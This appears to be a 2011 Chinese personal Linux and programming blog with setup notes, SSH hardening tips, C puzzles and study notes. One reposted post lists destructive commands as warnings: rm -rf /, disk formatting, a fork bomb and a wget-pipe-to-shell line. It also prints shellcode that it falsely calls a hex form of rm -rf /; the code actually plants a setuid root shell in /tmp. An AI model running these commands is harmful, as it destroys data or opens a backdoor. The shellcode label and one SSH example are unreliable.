2011年6月24日 星期五

2011年6月19日 星期日

[apache]php mysql

apt-get install php5 mysql-server php5-mysql


phpMyAdmin需要套件
apt-get install php5-mcrypt

2011年5月26日 星期四

[linux]7 个致命的 Linux 命令

http://linuxtoy.org/archives/the-7-deadly-linux-commands.html

如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
  1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
  2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";
    
    这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
  3. mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
  4. :(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
  5. any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
  6. wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。
  7. mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
如果你认为还有其他致命的 Linux 命令,那么请在留言中告诉我们。

2011年5月23日 星期一

[ssh]增強安全性 七條技巧

轉載http://wowubuntu.com/ssh-security.html

在绝大部分的 Linux 服务器上都使用 OpenSSH 作为 SSH server,所以这篇文章只针对 OpenSSH。其实这些技巧都是很基础的,但如果你能好好使用它们的话,一定程度上确实可以有效提升 SSH 的安全性.
#以下配置项都是在 /etc/ssh/sshd_config 文件中修改。

1. 禁止 root 登录

PermitRootLogin no
当你启用这一选项后,你只能用普通用户登录,然后再用 su 或 sudo 切换到 root 帐户。

2. 仅允许指定用户和组登录

指定用户
AllowUsers ramesh john jason
指定组
AllowGroups sysadmin dba

3. 禁止指定的用户或组登录

指定用户
DenyUsers cvs apache jane
指定组
DenyGroups developers qa
注:Allow 和 Deny 可以组合使用,它们的处理顺序是:DenyUsers, AllowUsers, DenyGroups, AllowGroups

4. 修改 SSH 监听端口

把 SSH 监听端口改为 222
Port 222

5. 修改默认登录时间

当你连接到 SSH 后,默认是提供 2 分钟的时间让你输入帐户和密码来进行登录,你可以修改这个时间为 1 分钟或 30 秒。
LoginGraceTime 1m

6. 限制监听 IP

如果你的服务器上有多个网卡及 IP ,那么你可以限制某些 IP 不监听 SSH,只允许通过某些 IP 来登录。
比如你有四个网卡
eth0 – 192.168.10.200
eth1 – 192.168.10.201
eth2 – 192.168.10.202
eth3 – 192.168.10.203
你只想让用户通过 202, 203 这两个 IP 来登录,那么做以下设定
ListenAddress 192.168.10.200
ListenAddress 192.168.10.202

7. 当用户处于非活动时断线

当用户在 10 分钟内处于非活动状态的话,就自动断线。
ClientAliveInterval 600
ClientAliveCountMax 0
ClientAliveCountMax:默认为 3 ,表示当 SSH 没有任何活动时, SSH Server 会发送三次检查是否在线(checkalive)的消息。
ClientAliveCountMax:默认为 0,表示当过了几秒后,SSH Server 会发送消息要求用户响应(0 的话表示永远不发送),否则就断线。

2011年5月22日 星期日

Sets

A set is a collection of distinct objects, considered as an object in its own right. Sets are one of the most fundamental concepts in mathematics. Developed at the end of the 19th century, set theory is now a ubiquitous part of mathematics, and can be used as a foundation from which nearly all of mathematics can be derived. In mathematics education, elementary topics such as Venn diagrams are taught at a young age, while more advanced concepts are taught as part of a university degree.(http://en.wikipedia.org/wiki/Set_%28mathematics%29)
  1. considered(adj)考慮過得
  2. ubiquitous(adj)普遍存在的
  3. derive(v) 取得,得到,衍生
  4. Venn diagrams(n)范氏圖

Set theory begins with a fundamental binary relation between an object o and a set A. If o is a member (or element) of A, we write oA. Since sets are objects, the membership relation can relate sets as well.
A derived binary relation between two sets is the subset relation, also called set inclusion. If all the members of set A are also members of set B, then A is a subset of B, denoted AB. For example, {1,2} is a subset of {1,2,3} , but {1,4} is not. From this definition, it is clear that a set is a subset of itself; in cases where one wishes to avoid this, the term proper subset is defined to exclude this possibility.
Just as arithmetic features binary operations on numbers, set theory features binary operations on sets. The:
  1. inclusion(n) 包括
  2. subset(n)子集合
  3. denote(v)表示
  4. proper subset(n)真子集
  5. arithmetic(adj)算術的 (n)算術
  • Union of the sets A and B, denoted AB, is the set of all objects that are a member of A, or B, or both. The union of {1, 2, 3} and {2, 3, 4} is the set {1, 2, 3, 4} .
  1. union  聯集
  • Intersection of the sets A and B, denoted AB, is the set of all objects that are members of both A and B. The intersection of {1, 2, 3} and {2, 3, 4} is the set {2, 3} .
  1. intersection 交集
  • Set difference of U and A, denoted U \ A is the set of all members of U that are not members of A. The set difference {1,2,3} \ {2,3,4} is {1} , while, conversely, the set difference {2,3,4} \ {1,2,3} is {4} . When A is a subset of U, the set difference U \ A is also called the complement of A in U. In this case, if the choice of U is clear from the context, the notation Ac is sometimes used instead of U \ A, particularly if U is a universal set as in the study of Venn diagrams.
  1. complement(n)(數學)補數
  2. set difference 差集
  3. U\A = U - A = A*
  • Symmetric difference of sets A and B is the set of all objects that are a member of exactly one of A and B (elements which are in one of the sets, but not in both). For instance, for the sets {1,2,3} and {2,3,4} , the symmetric difference set is {1,4} . It is the set difference of the union and the intersection, (AB) \ (AB).
  1. Symmetric difference 對稱差 (數位邏輯 :互斥或)
  • Cartesian product of A and B, denoted A × B, is the set whose members are all possible ordered pairs (a,b) where a is a member of A and b is a member of B.
  1.  Cartesian product 笛卡兒 積
  • Power set of a set A is the set whose members are all possible subsets of A. For example, the powerset of {1, 2} is { {}, {1}, {2}, {1,2} } .
  1. power set 幕集  (所有子集之集合)
Some basic sets of central importance are the empty set (the unique set containing no elements), the set of natural numbers, and the set of real numbers.
  1. empty set 空集合
(http://en.wikipedia.org/wiki/Set_theory)

    Discrete mathematics

    Discrete mathematics is the study of mathematical structures that are fundamentally discrete rather than continuous. In contrast to real numbers that have the property of varying "smoothly", the objects studied in discrete mathematics – such as integers, graphs, and statements in logic[1] – do not vary smoothly in this way, but have distinct, separated values.[2] Discrete mathematics therefore excludes topics in "continuous mathematics" such as calculus and analysis. Discrete objects can often be enumerated by integers. More formally, discrete mathematics has been characterized as the branch of mathematics dealing with countable sets[3] (sets that have the same cardinality as subsets of the natural numbers, including rational numbers but not real numbers). However, there is no exact, universally agreed, definition of the term "discrete mathematics."[4] Indeed, discrete mathematics is described less by what is included than by what is excluded: continuously varying quantities and related notions.(http://en.wikipedia.org/wiki/Discrete_mathematics
    1. fundamentally (adv)基礎地
    2. property(n)特性
    3. distinct(adj)明顯的,清楚的
    4. enumerate(v)列舉,枚舉
    5. characterize(v)描繪...的特性
    6. cardinality(n)基數*

    2011年5月18日 星期三

    2011年5月17日 星期二

    [好文]C语言的谜题

    轉載http://coolshell.cn/articles/945.html

    这几天,本站推出了几篇关于C语言的很多文章如下所示:
    我们可以看到很多C语言相关的一些东西。比如《语言的歧义》主要告诉了大家C语言中你意想不到的错误以及一些歧义上的东西。而《谁说C语言很简单》 则通过一些看似你从来不可能写出的代码来告诉大家C语言并不是一件容易事情。《6个变态的hello world》和《如何弄乱C的源代码》则以一种极端的方式告诉大家,不要以为咱们自己写不出混乱的代码,每个程序员其实都有把代码搞得一团乱的潜质。通过 这些文章,相信你对编程或是你觉得很简单的C语言有了一些了解。是的,很不容易吧,以前是不是低估了编程和C语言?今天是否我们又在低估C++和Java 呢?
    本篇文章《C语言的谜题》展示了14个C语言的迷题以及答案,代码应该是足够清楚的,而且我也相信有相当的一些例子可能是我们日常工作可能会见得到的。通过这些迷题,希望你能更了解C语言。如果你不看答案,不知道是否有把握回答各个谜题?让我们来试试。

    1、下面的程序并不见得会输出 hello-std-out,你知道为什么吗?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include <stdio.h>
    #include <unistd.h>
    int main()
    {
        while(1)
        {
            fprintf(stdout,"hello-std-out");
            fprintf(stderr,"hello-std-err");
            sleep(1);
        }
        return 0;
    }
    参考答案:stdout和stderr是不是同设备描述符。stdout是块设备,stderr则不是。对于块设备,只有当下面几种情况下才会被输入,1)遇到回车,2)缓冲区满,3)flush被调用。而stderr则不会。
    2、下面的程序看起来是正常的,使用了一个逗号表达式来做初始化。可惜这段程序是有问题的。你知道为什么呢?
    1
    2
    3
    4
    5
    6
    7
    8
    #include <stdio.h>
     
    int main()
    {
        int a = 1,2;
        printf("a : %d\n",a);
        return 0;
    }
    参考答案:这个程序会得到编译出错(语法出错),逗号表达式是没错,可是在初始化和变量声明时,逗号并不是逗号表达式的意义。这点要区分,要修改上面这个程序,你需要加上括号: int a = (1,2);
    3、下面的程序会有什么样的输出呢?
    1
    2
    3
    4
    5
    6
    7
    #include <stdio.h>
    int main()
    {
        int i=43;
        printf("%d\n",printf("%d",printf("%d",i)));
        return 0;
    }
    参考答案:程序会输出4321,你知道为什么吗?要知道为什么,你需要知道printf的返回值是什么。printf返回值是输出的字符个数。
    4、下面的程序会输出什么?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #include <stdio.h>
    int main()
    {
        float a = 12.5;
        printf("%d\n", a);
        printf("%d\n", (int)a);
        printf("%d\n", *(int *)&a);
        return 0;
    }
    参考答案
    该项程序输出如下所示,
    0
    12
    1095237632
    原因是:浮点数是4个字节,12.5f 转成二进制是:01000001010010000000000000000000,十六进制是:0×41480000,十进制 是:1095237632。所以,第二和第三个输出相信大家也知道是为什么了。而对于第一个,为什么会输出0,我们需要了解一下float和double 的内存布局,如下:
    • float: 1位符号位(s)、8位指数(e),23位尾数(m,共32位)
    • double: 1位符号位(s)、11位指数(e),52位尾数(m,共64位)
    然后,我们还需要了解一下printf由于类型不匹配,所以,会把float直接转成double,注意,12.5的float和double的内存二进制完全不一样。别忘了在x86芯片下使用是的反字节序,高位字节和低位字位要反过来。所以:
    • float版:0×41480000 (在内存中是:00 00 48 41)
    • double版:0×4029000000000000 (在内存中是:00 00 00 00 00 00 29 40)
    而我们的%d要求是一个4字节的int,对于double的内存布局,我们可以看到前四个字节是00,所以输出自然是0了。
    这个示例向我们说明printf并不是类型安全的,这就是为什么C++要引如cout的原因了。
    5、下面,我们再来看一个交叉编译的事情,下面的两个文件可以编译通过吗?如果可以通过,结果是什么?
    file1.c
    1
    int arr[80];
    file2.c
    1
    2
    3
    4
    5
    6
    7
    extern int *arr;
    int main()
    {
        arr[1] = 100;
        printf("%d\n", arr[1]);
        return 0;
    }
    参考答案:该程序可以编译通过,但运行时会出错。为什么呢?原因是,在另一个文件中用 extern int *arr来外部声明一个数组并不能得到实际的期望值,因为他们的类型并不匹配。所以导致指针实际并没有指向那个数组。注意:一个指向数组的指针,并不等于 一个数组。修改:extern int arr[]。(参考:ISO C语言 6.5.4.2 节)
    6、请说出下面的程序输出是多少?并解释为什么?(注意,该程序并不会输出 “b is 20″)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    #include <stdio.h>
    int main()
    {
        int a=1;
        switch(a)
        {
            int b=20;
            case 1:
                printf("b is %d\n",b);
                break;
            default:
                printf("b is %d\n",b);
                break;
        }
        return 0;
    }
    参考答案:该程序在编译时,可能会出现一条warning: unreachable code at beginning of switch statement。我们以为进入switch后,变量b会被初始化,其实并不然,因为switch-case语句会把变量b的初始化直接就跳过了。所 以,程序会输出一个随机的内存值。
    7、请问下面的程序会有什么潜在的危险?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #include <stdio.h>
    int main()
    {
        char str[80];
        printf("Enter the string:");
        scanf("%s",str);
        printf("You entered:%s\n",str);
        return 0;
    }
    参考答案:本题很简单了。这个程序的潜在问题是,如果用户输入了超过80个长度的字符,那么就会有数组越界的问题了,你的程序很有可以及会crash了。
    8、请问下面的程序输出什么?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #include <stdio.h>
    int main()
    {
        int i;
        i = 10;
        printf("i : %d\n",i);
        printf("sizeof(i++) is: %d\n",sizeof(i++));
        printf("i : %d\n",i);
        return 0;
    }
    参考答案:如果你觉得输出分别是,10,4,11,那么你就错了,错在了第三个,第一个是10没有什么问题,第 二个是4,也没有什么问题,因为是32位机上一个int有4个字节。但是第三个为什么输出的不是11呢?居然还是10?原因是,sizeof不是一个函 数,是一个操作符,其求i++的类型的size,这是一件可以在程序运行前(编译时)完全的事情,所以,sizeof(i++)直接就被4给取代了,在运 行时也就不会有了i++这个表达式。
    9、请问下面的程序的输出值是什么?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #include <stdio.h>
    #include <stdlib.h>
     
    #define SIZEOF(arr) (sizeof(arr)/sizeof(arr[0]))
    #define PrintInt(expr) printf("%s:%d\n",#expr,(expr))
     
    int main()
    {
        /* The powers of 10 */
        int pot[] = {
                        0001,
                        0010,
                        0100,
                        1000
                    };
     
        int i;
        for(i=0;i<SIZEOF(pot);i++)
            PrintInt(pot[i]);
     
        return 0;
    }
    参考答案:好吧,如果你对于PrintInt这个宏有问题的话,你可以去看一看《语言的歧义》中的第四个示例。不过,本例的问题不在这里,本例的输出会是:1,8,64,1000,其实很简单了,以C/C++中,以0开头的数字都是八进制的。
    10、请问下面的程序输出是什么?(绝对不是10)
    #include 
    #define PrintInt(expr) printf("%s : %dn",#expr,(expr))
    
    int main()
    {
        int y = 100;
        int *p;
        p = malloc(sizeof(int));
        *p = 10;
        y = y/*p; /*dividing y by *p */;
        PrintInt(y);
        return 0;
    }
    
    参考答案:本题输出的是100。为什么呢?问题就出在 y = y/*p;上了,我们本来想的是 y / (*p) ,然而,我们没有加入空格和括号,结果y/*p中的 /*被解释成了注释的开始。于是,这也是整个恶梦的开始。
    11、下面的输出是什么?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #include <stdio.h>
    int main()
    {
        int i = 6;
        if( ((++i < 7) && ( i++/6)) || (++i <= 9))
            ;
     
        printf("%d\n",i);
        return 0;
    }
    参考答案:本题并不简单的是考前缀++或反缀++,本题主要考的是&&和||的短路求值的问 题。所为短路求值:对于(条件1 && 条件2),如果“条件1”是false,那“条件2”的表达式会被忽略了。对于(条件1 || 条件2),如果“条件1”为true,而“条件2”的表达式则被忽略了。所以,我相信你会知道本题的答案是什么了。
    12、下面的C程序是合法的吗?如果是,那么输出是什么?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include <stdio.h>
    int main()
    {
        int a=3, b = 5;
     
        printf(&a["Ya!Hello! how is this? %s\n"], &b["junk/super"]);
     
        printf(&a["WHAT%c%c%c  %c%c  %c !\n"], 1["this"],
            2["beauty"],0["tool"],0["is"],3["sensitive"],4["CCCCCC"]);
     
        return 0;
    }
    参考答案
    本例是合法的,输出如下:
    Hello! how is this? super
    That is C !
    本例主要展示了一种另类的用法。下面的两种用法是相同的:
    “hello”[2]
    2["hello"]
    如果你知道:a[i] 其实就是 *(a+i)也就是 *(i+a),所以如果写成 i[a] 应该也不难理解了。
    13、请问下面的程序输出什么?(假设:输入 Hello, World)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #include <stdio.h>
    int main()
    {
        char dummy[80];
        printf("Enter a string:\n");
        scanf("%[^r]",dummy);
        printf("%s\n",dummy);
        return 0;
    }
    参考答案:本例的输出是“Hello, Wo”,scanf中的”%[^r]“是从中作梗的东西。意思是遇到字符r就结束了。
    14、下面的程序试图使用“位操作”来完成“乘5”的操作,不过这个程序中有个BUG,你知道是什么吗?
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #include <stdio.h>
    #define PrintInt(expr) printf("%s : %d\n",#expr,(expr))
    int FiveTimes(int a)
    {
        int t;
        t = a<<2 + a;
        return t;
    }
     
    int main()
    {
        int a = 1, b = 2,c = 3;
        PrintInt(FiveTimes(a));
        PrintInt(FiveTimes(b));
        PrintInt(FiveTimes(c));
        return 0;
    }
    参考答案:本题的问题在于函数FiveTimes中的表达式“t = a<<2 + a;”,对于a<<2这个位操作,优先级要比加法要低,所以这个表达式就成了“t = a << (2+a)”,于是我们就得不到我们想要的值。该程序修正如下:
    1
    2
    3
    4
    5
    6
    int FiveTimes(int a)
    {
        int t;
        t = (a<<2) + a;
        return t;
    }

    [好文]21 天教你學會 C++

    轉載http://www.vixual.net/blog/archives/732

    轉載自: 酷壳 – 21天教你学会C++

    下面是一個《Teach Yourself C++ in 21 Days》的流程圖, 請各位程式設計師同仁認真領會。如果有必要,你可以查看這個圖書以作參照: http: //www.china-pub.com/27043
    看完上面這個圖片, 我在想, 我學習 C++ 有 12 年了, 好像 C++ 也沒有學得特別懂, 看到 STL 和泛型, 還是很頭大。不過, 我應該去考慮研究量子物理和生物化學, 這樣, 我才能重返 98 年殺掉還在大學的我, 然後達到 21 天搞定 C++ 的目標。另外, 得要特別提醒剛剛開始學習 C++ 的朋友, 第 21 天的時候, 小心被人殺害。呵呵。
    當然, 上面只是一個惡搞此類圖片, 學習一門技術, 需要你很長的時間, 正如圖片中的第三圖和第四圖所示, 你需要用十年的時間去不斷在嘗試, 並在錯誤中總結經驗教訓, 以及在專案開發中通過與別人相互溝通互相學習來歷練自己。你才能算得上是真正學會。
    這裡有篇文章叫《Teach Yourself Programming in Ten Years》, 網上有人翻譯了一下, 不過原文已被更新了, 我把網上的譯文轉載並更新如下:

    用十年來學程式設計
    Peter Norvig

    為什麼每個人都急不可耐?

    走進任何一家書店, 你會看見《Teach Yourself Java in 7 Days》 (7 天 Java 無師自通) 的旁邊是一長排看不到盡頭的類似書籍, 它們要教會你 Visual Basic、Windows、Internet 等等, 而只需要幾天甚至幾小時。我在 Amazon.com 上進行了如下搜索:
    pubdate: after 1992 and title: days and (title: learn or title: teach yourself)
    (出版日期: 1992年後 and 書名: 天 and (書名: 學會 or 書名: 無師自通) )
    我一共得到了 248 個搜索結果。前面的 78 個是電腦書籍 (第 79 個是《Learn Bengali in 30 days》, 30 天學會孟加拉語)。我把關鍵詞「days」換成「hours」, 得到了非常相似的結果: 這次有 253 本書, 頭 77 本是電腦書籍, 第 78 本是《Teach Yourself Grammar and Style in 24 Hours》 (24 小時學會文法和文體)。頭 200 本書中, 有 96% 是電腦書籍。
    結論是, 要麼是人們非常急於學會電腦, 要麼就是不知道為什麼電腦驚人地簡單, 比任何東西都容易學會。沒有一本書是要在幾天裡教會人們欣賞貝多芬或者量子物理學, 甚至怎樣給狗打扮。在《How to Design Programs》這本書裡說「Bad programming is easy. Idiots can learn it in 21 days, even if they are dummies.」 (壞的程式是很容易的, 就算他們是笨蛋白痴都可以在 21 天內學會。)
    讓我們來分析一下像《Learn C++ in Three Days》(3 天學會 C++) 這樣的題目到底是什麼意思:
    • 學會: 在 3 天時間裡, 你不夠時間寫一些有意義的程式, 並從它們的失敗與成功中學習。你不夠時間跟一些有經驗的程式設計師一起工作, 你不會知道在 C++ 那樣的環境中是什麼滋味。簡而言之, 沒有足夠的時間讓你學到很多東西。所以這些書談論的只是表面上的精通, 而非深入的理解。如 Alexander Pope (英國詩人、作家, 1688-1744) 所言, 一知半解是危險的 (a little learning is a dangerous thing)
    • C++: 在3天時間裡你可以學會 C++ 的語法 (如果你已經會一門類似的語言), 但你無法學到多少如何運用這些語法。簡而言之, 如果你是, 比如說一個 Basic 程式設計師, 你可以學會用 C++ 語法寫出 Basic 風格的程式, 但你學不到 C++ 真正的優點 (和缺點)。那關鍵在哪裡?Alan Perlis (ACM 第一任主席, 圖靈獎得主, 1922-1990) 曾經說過:
      如果一門語言不能影響你對寫程式的想法, 那它就不值得去學」。另一種觀點是, 有時候你不得不學一點 C++ (更可能是
      Javascript 和 FlashFlex 之類) 的皮毛, 因為你需要接觸現有的工具, 用來完成特定的任務。但此時你不是在學習如何寫程式, 你是在學習如何完成任務。
    • 3 天: 不幸的是, 這是不夠的, 正如下一節所言。

    10 年學程式設計

    一些研究者 (Bloom(1985), Bryan & Harter (1899), Hayes (1989), Simmon & Chase (1973)) 的研究表明, 在許多領域, 都需要大約 10 年時間才能培養出專業技能, 包括西洋棋、作曲、繪畫、鋼琴、游泳、網球, 以及神經心理學和拓撲學的研究。似乎並不存在真正的捷徑: 即使是莫扎特, 他 4 歲就顯露出音樂天才, 在他寫出世界級的音樂之前仍然用了超過 13 年時間。再看另一種音樂類型的披頭士, 他們似乎是在 1964 年的 EdSullivan 節目中突然冒頭的。但其實他們從 1957
    年就開始表演了, 即使他們很早就顯示出了巨大的吸引力, 他們第一次真正的成功 -  Sgt.Peppers  – 也要到 1967 年才發行。Malcolm Gladwell
    研究報告稱, 把在伯林音樂學院學生一個班的學生按水準分成高中低, 然後問他們對音樂練習花了多少工夫:
    在這三個小組中的每一個人基本上都是從相同的時間開始練習的 (在五歲的時候)。在開始的幾年裡, 每個人都是每週練習 2-3 個小時。但是在八歲的時候, 練習的強度開始顯現差異。在這個班中水準最牛的人開始比別人練習得更多 – 在九歲的時候每週練習 6 個小時, 十二歲的時候, 每週 8 個小時, 十四歲的時候每週 16 個小時, 並在成長過程中練習得越來越多, 到 20 歲的時候, 其每週練習可超過 30 個小時。到了 20 歲, 這些優秀者在其生命中練習音樂總共超過 10,000 小時。與之對比, 其它人只平均有 8,000 小時, 而未來只能留校當老師的人僅僅是 4,000 小時。
    所以, 這也許需要 10,000 小時, 並不是十年, 但這是一個 magic number。Samuel Johnson (英國詩人) 認為 10 年還是不夠的: 「任何領域的卓越成就都只能通過一生的努力來獲得; 稍低一點的代價也換不來。」 (Excellence in any department can be attained only by the labor of a lifetime; it is not to be purchased at a lesser price.) 喬叟 (Chaucer, 英國詩人, 1340-1400) 也抱怨說:
    生命如此短暫, 掌握技藝卻要如此長久。」 (the lyf so short, the craft so long to lerne.)
    下面是我在程式設計這個行業裡獲得成功的處方:
    • 對程式設計感興趣, 因為樂趣而去寫程式。確定始終都能保持足夠的樂趣, 以致你能夠將 10 年時間投入其中。
    • 跟其他程式設計師交談; 閱讀其他程式。這比任何書籍或訓練課程都更重要。
    • 程式設計最好的學習是從實踐中學習。用更加技術性的語言來講, 「個人在特定領域最高水準的表現不是作為長期的經驗的結果而自動獲得的, 但即使是非常富有經驗的個人也可以通過刻意的努力而提高其表現水準。」 (p.366), 而且「最有效的學習要求為特定個人制訂適當難度的任務, 有意義的反饋, 以及重複及改正錯誤的機會。」 (p.20-21) 《Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life》 (在實踐中認知: 心智、數學和日常生活的文化) 是關於這個觀點的一本有趣的參考書。
    • 如果你願意, 在大學裡花上4年時間 (或者再花幾年讀研究生)。這能讓你獲得一些工作的入門資格, 還能讓你對此領域有更深入的理解, 但如果你不喜歡進學校, (作出一點犧牲) 你在工作中也同樣能獲得類似的經驗。在任何情況下, 單從書本上學習都是不夠的。「電腦科學的教育不會讓任何人成為內行的程式設計師, 正如研究畫筆和顏料不會讓任何人成為內行的畫家」, Eric Raymond, 《The New Hacker’s Dictionary》 (新黑客字典) 的作者如是說。我曾經僱用過的最優秀的程式設計師之一僅有高中學歷; 但他創造出了許多偉大的軟體 (XEmacs, Mozilla), 甚至有討論他本人的新聞組, 而且股票期權讓他達到我無法企及的富有程度 (譯註: 指 Jamie Zawinski, Xemacs 和 Netscape 的作者)。
    • 跟別的程式設計師一起完成專案。在一些專案中成為最好的程式設計師; 在其他一些專案中當最差的一個。當你是最好的程式設計師時, 你要測試自己領導專案的能力, 並通過你的洞見鼓舞其他人。當你是最差的時候, 你學習高手們在做些什麼, 以及他們不喜歡做什麼 (因為他們讓你幫他們做那些事)。
    • 接手別的程式設計師完成專案。用心理解別人編寫的程式。看看在沒有最初的程式設計師在場的時候理解和修改程式需要些什麼。想一想怎樣設計你的程式才能讓別人接手維護你的程式時更容易一些。
    • 學會至少半打程式語言。包括一門支援類抽象 (class abstraction) 的語言 (如 Java 或 C++), 一門支援函數抽象 (function alabstraction) 的語言 (如 Lisp 或 ML), 一門支援語法抽象 (syntactic abstraction) 的語言 (如 Lisp), 一門支援說明性規約 (declarative specification) 的語言 (如 Prolog 或 C++ 模版), 一門支援協程 (coroutine) 的語言 (如 Icon 或 Scheme), 以及一門支援併行處理 (parallelism) 的語言 (如 Sisal)。
    • 記住在「電腦科學」這個名詞裡包含「電腦」這個詞。瞭解你的電腦執行一條指令要多長時間, 從記憶體中取一個 word 要多長時間 (包括暫存命中和未命中的情況), 從磁碟上讀取連續的數據要多長時間, 定位到磁碟上的新位置又要多長時間。 (答案在這裡)
    • 嘗試參與到一項語言標準化工作中。可以是 ANSI C++ 委員會, 也可以是決定自己團隊的程式風格到底採用 2 個空格的縮進還是 4 個。不論是哪一種, 你都可以學到在這門語言中到底人們喜歡些什麼, 他們有多喜歡, 甚至有可能稍微瞭解為什麼他們會有這樣的感覺。
    • 擁有盡快從語言標準化工作中抽身的良好判斷力。
    抱著這些想法, 我很懷疑從書上到底能學到多少東西。在我第一個孩子出生前, 我讀完了所有「怎樣……」的書, 卻仍然感到自己是個毫無頭緒的新手。30 個月後, 我第二個孩子出生的時候, 我重新拿起那些書來複習了嗎?不。相反, 我依靠我自己的經驗, 結果比專家寫的幾千頁東西更有用更靠得住。
    Fred Brooks 在他的短文《No Silver Bullets》 (沒有銀彈) 中確立了如何發現傑出的軟體設計師的三步規劃:
    • 儘早系統地識別出最好的設計師群體。
    • 指派一個事業上的導師負責有潛質的對象的發展, 小心地幫他保持職業生涯的履歷。
    • 讓成長中的設計師們有機會互相影響, 互相激勵。
    這實際上是假定了有些人本身就具有成為傑出設計師的必要潛質; 要做的只是引導他們前進。Alan Perlis 說得更簡潔: 「每個人都可以被教授如何雕塑; 而對米開朗基羅來說, 能教給他的倒是怎樣能夠不去雕塑。傑出的程式設計師也一樣」。
    所以儘管去買那些 Java 書; 你很可能會從中找到些用處。但你的生活, 或者你作為程式設計師的真正的專業技術, 並不會因此在 24 小時、24 天甚至 24 個月內發生真正的變化。

    [linux]console input EOF

    key-input =>[Ctrl]+D
    char *gets(char *) => return -1 =>EOF

    2011年5月14日 星期六

    [linux]create a --bare repo for remote server

    *create a repo
    # cd /home/user/git/
    # mkdir test.git
    # cd test.git
    # git init --bare

    # git clone ssh://user@host:port/~/git/test.git
    ....add some file
    # git push origin master


    *with cgit

    # ln -s ~/git/test.git /var/www/htdocs/repo/test.git
    $ ln -s target link

    [linux]cgit(git web browser)

    #git clone git://hjemli.net/pub/git/cgit
    #cd cgit

    *install need package or lib
    -zlib1g-dev
    -libssl-dev
    -curl
    -make
    -cc

    #sudo apt-get install curl zlib1g-dev libssl-dev make

    *install apache2
    #sudo apt-get install apache2

    *install cgit
    #sudo make

    *setting apache2
    #sudo vim /etc/apache2/sites-available/default
    ScriptAlias /cgit/ /var/www/htdocs/cgit/  #http://localhost/cgit/cgit.cgi/ 
    <Directory "/var/www/htdocs/cgit/">
        AllowOverride None
        Options +ExecCGI
        Order allow,deny
        Allow from all
    </Directory>
    *config
    -/etc/cgitrc #ref cgitrc.5.txt

    [Linux]ssh using

    #ssh 192.168.1.2 -l login_user -p port

    [X220i]NB LinuxMint Setting(20110514)

    *disable touchpad
    #sudo apt-get install gpointing-device-setting #install setting GUI
    pointing device -> disable touchpad

    *disable sleep
    battery manager -> battery mod -> close laptop -> empty screen

    [Linux]ssh allow and deny

    #sudo vim /etc/hosts.allow
    #sudo vim /etc/hosts.deny

    >>#hosts.allow
    >>sshd : 192.168.1.2 #allow 192.168.1.2

    >>#hosts.deny
    >>sshd : all               #deny all but hosts.allow

    [Linux]install ssh(d)

    #sudo apt-get install ssh
    #sudo vim /etc/ssh/sshd_config
    >>Port 22 #setting port
    >>Allowusers user1 user2
    >>MaxAuthTries 3 #密碼輸入次數

    $/etc/ssh/
    $/etc/init.d/ssh

    [Linux]install sudo

    root# apt-get install sudo
    root# vim /etc/sudoers